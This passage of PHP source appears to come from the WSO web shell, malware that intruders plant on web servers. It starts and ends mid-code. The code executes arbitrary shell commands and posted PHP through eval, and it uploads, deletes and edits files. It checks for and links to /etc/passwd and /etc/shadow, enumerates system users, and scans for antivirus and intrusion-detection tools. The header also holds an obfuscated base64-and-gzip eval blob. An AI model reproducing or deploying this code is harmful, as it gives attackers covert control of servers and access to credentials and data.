( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=green><b>OFF</b></font>\')\n       . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n       . \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';eval(gzinflate(base64_decode(\'dZJNc5swEIb/iieTQ3ITuInLZHrAuBIrx9SA+dLFAxbBssRHQxMX//qqJk4y0+lhR6PZffTuu6vrrn3+tS1Ew7d88m1yRV3W7UyFssG2wAmefGStQ6RwMlAzT72OuyuRbnrPqVUNTiV5rU55GhxggXQ9iGU4ny38ttLsWE9Wlc5Vq4VmhF1d3i+mUK1DW6aGhyPFdPQikrG3MQKcIvw9wDDqnBmuMn2CY//DhDiIImzBxvAiUOii3RV1e67/q02xtQlimugoQFEcxTGOjOApjin9xKAspQ1L/TOzq/GUp7RnJD4UZqCWTjBlCbxQol5yIS/MT54ERvGmA0r3qbyWJb97IHvEXfv+cfgqOcEDM2MEhN59zMUa4PDmj9BX5sqLP+E3cfND2P/l1oQOawFjD+S8hz1LjCN3ZTvOSnbg9pVPjH2eHFuosxNbzE+rKTV12DmxUJHgrnDutDckHt99HGVWW7IM5Qxc5DmNjjrud2ZUlYP9vuvl0I95OT8xfS9M6zlPohaacbelgP7jH8nZ1cOkfM3VTZH35f2XLS93LS9vrj/9vNvbhz8= \')));\n}\n \nfunction wsoFooter() {\n    $is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>\n    <tr>\n        <td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n        <td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n    </tr><tr>\n        <td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n        <td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n    </tr><tr>\n        <td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n        <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n        <input type=hidden name=a value=\'FilesMAn\'>\n        <input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n        <input type=hidden name=p1 value=\'uploadFile\'>\n        <input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n        <span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>\n    </tr></table></div></body></html>";\n}\n \nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n    function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n    function posix_getgrgid($p) {return false;} }\n \nfunction wsoEx($in) {\n    $out = \'\';\n    if (function_exists(\'exec\')) {\n        @exec($in,$out);\n        $out = @join("\\n",$out);\n    } elseif (function_exists(\'passthru\')) {\n        ob_start();\n        @passthru($in);\n        $out = ob_get_clean();\n    } elseif (function_exists(\'system\')) {\n        ob_start();\n        @system($in);\n        $out = ob_get_clean();\n    } elseif (function_exists(\'shell_exec\')) {\n        $out = shell_exec($in);\n    } elseif (is_resource($f = @popen($in,"r"))) {\n        $out = "";\n        while(!@feof($f))\n            $out .= fread($f,1024);\n        pclose($f);\n    }\n    return $out;\n}\n \nfunction wsoViewSize($s) {\n    if (is_int($s))\n        $s = sprintf("%u", $s);\n     \n    if($s >= 1073741824)\n        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n    elseif($s >= 1048576)\n        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n    elseif($s >= 1024)\n        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n    else\n        return $s . \' B\';\n}\n \nfunction wsoPerms($p) {\n    if (($p & 0xC000) == 0xC000)$i = \'s\';\n    elseif (($p & 0xA000) == 0xA000)$i = \'l\';\n    elseif (($p & 0x8000) == 0x8000)$i = \'-\';\n    elseif (($p & 0x6000) == 0x6000)$i = \'b\';\n    elseif (($p & 0x4000) == 0x4000)$i = \'d\';\n    elseif (($p & 0x2000) == 0x2000)$i = \'c\';\n    elseif (($p & 0x1000) == 0x1000)$i = \'p\';\n    else $i = \'u\';\n    $i .= (($p & 0x0100) ? \'r\' : \'-\');\n    $i .= (($p & 0x0080) ? \'w\' : \'-\');\n    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n    $i .= (($p & 0x0020) ? \'r\' : \'-\');\n    $i .= (($p & 0x0010) ? \'w\' : \'-\');\n    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n    $i .= (($p & 0x0004) ? \'r\' : \'-\');\n    $i .= (($p & 0x0002) ? \'w\' : \'-\');\n    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n    return $i;\n}\n \nfunction wsoPermsColor($f) {\n    if (!@is_readable($f))\n        return \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n    elseif (!@is_writable($f))\n        return \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n    else\n        return \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n}\n \nfunction wsoScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\n \nfunction wsoWhich($p) {\n    $path = wsoEx(\'which \' . $p);\n    if(!empty($path))\n        return $path;\n    return false;\n}\n \nfunction actionSecInfo() {\n    wsoHeader();\n    echo \'<h1>Server security information</h1><div class=content>\';\n    function wsoSecParam($n, $v) {\n        $v = trim($v);\n        if($v) {\n            echo \'<span>\' . $n . \': </span>\';\n            if(strpos($v, "\\n") === false)\n                echo $v . \'<br>\';\n            else\n                echo \'<pre class=ml1>\' . $v . \'</pre>\';\n        }\n    }\n \n    wsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n    wsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n    wsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n    wsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n    wsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n    wsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n    $temp=array();\n    if(function_exists(\'mysql_get_client_info\'))\n        $temp[] = "MySql (".mysql_get_client_info().")";\n    if(function_exists(\'mssql_connect\'))\n        $temp[] = "MSSQL";\n    if(function_exists(\'pg_connect\'))\n        $temp[] = "PostgreSQL";\n    if(function_exists(\'oci_connect\'))\n        $temp[] = "Oracle";\n    wsoSecParam(\'Supported databases\', implode(\', \', $temp));\n    echo \'<br>\';\n \n    if($GLOBALS[\'os\'] == \'nix\') {\n            wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n                wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n                echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n                if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n                    $temp = "";\n                    for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n                        $uid = @posix_getpwuid($_POST[\'p2\']);\n                        if ($uid)\n                            $temp .= join(\':\',$uid)."\\n";\n                    }\n                    echo \'<br/>\';\n                    wsoSecParam(\'Users\', $temp);\n                }\n            }\n    } else {\n        wsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n        wsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n        wsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n    }\n    echo \'</div>\';\n    wsoFooter();\n}\n \nfunction actionPhp() {\n    if(isset($_POST[\'ajax\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\n        ob_start();\n        eval($_POST[\'p1\']);\n        $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\n        echo strlen($temp), "\\n", $temp;\n        exit;\n    }\n    if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\n \n    wsoHeader();\n    if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\n        echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';\n        ob_start();\n        phpinfo();\n        $tmp = ob_get_clean();\n        $tmp = preg_replace(array (\n            \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\n            \'!td, th {(.*)}!msiU\',\n            \'!<img[^>]+>!msiU\',\n        ), array (\n            \'\',\n            \'.e, .v, .h, .h th {$1}\',\n            \'\'\n        ), $tmp);\n        echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n    }\n    echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\\\'Php\\\',null,this.code.value);}else{g(\\\'Php\\\',null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n    echo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n    if(!empty($_POST[\'p1\'])) {\n        ob_start();\n        eval($_POST[\'p1\']);\n        echo htmlspecialchars(ob_get_clean());\n    }\n    echo \'</pre></div>\';\n    wsoFooter();\n}\n \nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n     \n    if(!empty($_POST[\'p1\'])) {\n        switch($_POST[\'p1\']) {\n            case \'uploadFile\':\n                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n                    echo "Can\'t upload!";\n                break;\n            case \'mkdir\':\n                if(!@mkdir($_POST[\'p2\']))\n                    echo "Can\'t create!";\n                break;\n            case \'delete\':\n                function deleteDir($path) {\n                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n                    $dh  = opendir($path);\n                    while ( ($item = readdir($dh) ) !== false) {\n                        $item = $path.$item;\n                        if ( (basename($item) == "..") || (basename($item) == ".") )\n                            continue;\n                        $type = filetype($item);\n                        if ($type == "dir")\n                            deleteDir($item);\n                        else\n                            @unlink($item);\n                    }\n                    closedir($dh);\n                    @rmdir($path);\n                }\n                if(is_array(@$_POST[\'f\']))\n                    foreach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n                        $f = urldecode($f);\n                        if(is_dir($f))\n                            deleteDir($f);\n                        else\n                            @unlink($f);\n                    }\n                break;\n            case \'paste\':\n                if($_COOKIE[\'act\'] == \'copy\') {\n                    function copy_paste($c,$s,$d){\n                        if(is_dir($c.$s)){\n                            mkdir($d.$s);\n                            $h = @opendir($c.$s);\n                            while (($f = @readdir($h)) !== false)\n                                if (($f != ".") and ($f != ".."))\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n                        } elseif(is_file($c.$s))\n                            @copy($c.$s, $d.$s);\n                    }\n                    foreach($_COOKIE[\'f\'] as $f)\n                        copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n                } elseif($_COOKIE[\'act\'] == \'move\') {\n                    function move_paste($c,$s,$d){\n                        if(is_dir($c.$s)){\n                            mkdir($d.$s);\n                            $h = @opendir($c.$s);\n                            while (($f = @readdir($h)) !== false)\n                                if (($f != ".") and ($f != ".."))\n                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n                        } elseif(@is_file($c.$s))\n                            @copy($c.$s, $d.$s);\n                    }\n                    foreach($_COOKIE[\'f\'] as $f)\n                        @rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n                } elseif($_COOKIE[\'act\'] == \'zip\') {\n                    if(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n                } elseif($_COOKIE[\'act\'] == \'unzip\') {\n                    if(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n                } elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n                }\n                unset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n                break;\n            default:\n                if(!empty($_POST[\'p1\'])) {\n                    WSOsetcookie(\'act\', $_POST[\'p1\']);\n                    WSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n                    WSOsetcookie(\'c\', @$_POST[\'c\']);\n                }\n                break;\n        }\n    }\n    wsoHeader();\n    echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n    $dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n    if($dirContent === false) { echo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n    global $sort;\n    $sort = array(\'name\', 1);\n    if(!empty($_POST[\'p1\'])) {\n        if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n            $sort = array($match[1], (int)$match[2]);\n    }\necho "<script>\n    function sa() {\n        for(i=0;i<d.files.elements.length;i++)\n            if(d.files.elements[i].type == \'checkbox\')\n                d.files.elements[i].checked = d.files.elements[0].checked;\n    }\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n    $dirs = $files = array();\n    $n = count($dirContent);\n    for($i=0;$i<$n;$i++) {\n        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n        $tmp = array(\'name\' => $dirContent[$i],\n                     \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n                     \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n                     \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n                     \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n                     \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n                     \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n                    );\n        if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n            $files[] = array_merge($tmp, array(\'type\' => \'file\'));\n        elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n            $dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n        elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n            $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n    }\n    $GLOBALS[\'sort\'] = $sort;\n    function wsoCmp($a, $b) {\n        if($GLOBALS[\'sort\'][0] != \'size\')\n            return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n        else\n            return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n    }\n    usort($files, "wsoCmp");\n    usort($dirs, "wsoCmp");\n    $files = array_merge($dirs, $files);\n    $l = 0;\n    foreach($files as $f) {\n        echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n            .\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n        $l = $l?0:1;\n    }\n    echo "<tr><td colspan=7>\n    <input type=hidden name=a value=\'FilesMan\'>\n    <input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n    <input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n    echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>Paste / Compress</option>";\n    echo "</select>&nbsp;";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n    wsoFooter();\n}\n \nfunction actionStringTools() {\n    if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n    if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n    if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n    if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n    $stringTools = array(\n        \'Base64 encode\' => \'base64_encode\',\n        \'Base64 decode\' => \'base64_decode\',\n        \'Url encode\' => \'urlencode\',\n        \'Url decode\' => \'urldecode\',\n        \'Full urlencode\' => \'full_urlencode\',\n        \'md5 hash\' => \'md5\',\n        \'sha1 hash\' => \'sha1\',\n        \'crypt\' => \'crypt\',\n        \'CRC32\' => \'crc32\',\n        \'ASCII to HEX\' => \'ascii2hex\',\n        \'HEX to ASCII\' => \'hex2ascii\',\n        \'HEX to DEC\' => \'hexdec\',\n        \'HEX to BIN\' => \'hex2bin\',\n        \'DEC to HEX\' => \'dechex\',\n        \'DEC to BIN\' => \'decbin\',\n        \'BIN to HEX\' => \'binhex\',\n        \'BIN to DEC\' => \'bindec\',\n        \'String to lower case\' => \'strtolower\',\n        \'String to upper case\' => \'strtoupper\',\n        \'Htmlspecialchars\' => \'htmlspecialchars\',\n        \'String length\' => \'strlen\',\n    );\n    if(isset($_POST[\'ajax\'])) {\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n        ob_start();\n        if(in_array($_POST[\'p1\'], $stringTools))\n            echo $_POST[\'p1\']($_POST[\'p2\']);\n        $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n        echo strlen($temp), "\\n", $temp;\n        exit;\n    }\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n    wsoHeader();\n    echo \'<h1>String conversions</h1><div class=content>\';\n    echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";\n    foreach($stringTools as $k => $v)\n        echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n        echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n    if(!empty($_POST[\'p1\'])) {\n        if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n    }\n    echo"</pre></div><br><h1>Search files:</h1><div class=content>\n        <form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n            <tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n            <tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n            <tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n            <tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>\n            </table></form>";\n \n    function wsoRecursiveGlob($path) {\n        if(substr($path, -1) != \'/\')\n            $path.=\'/\';\n        $paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n        if(is_array($paths)&&@count($paths)) {\n            foreach($paths as $item) {\n                if(@is_dir($item)){\n                    if($path!=$item)\n                        wsoRecursiveGlob($item);\n                } else {\n                    if(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\n                        echo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($item)."\\", 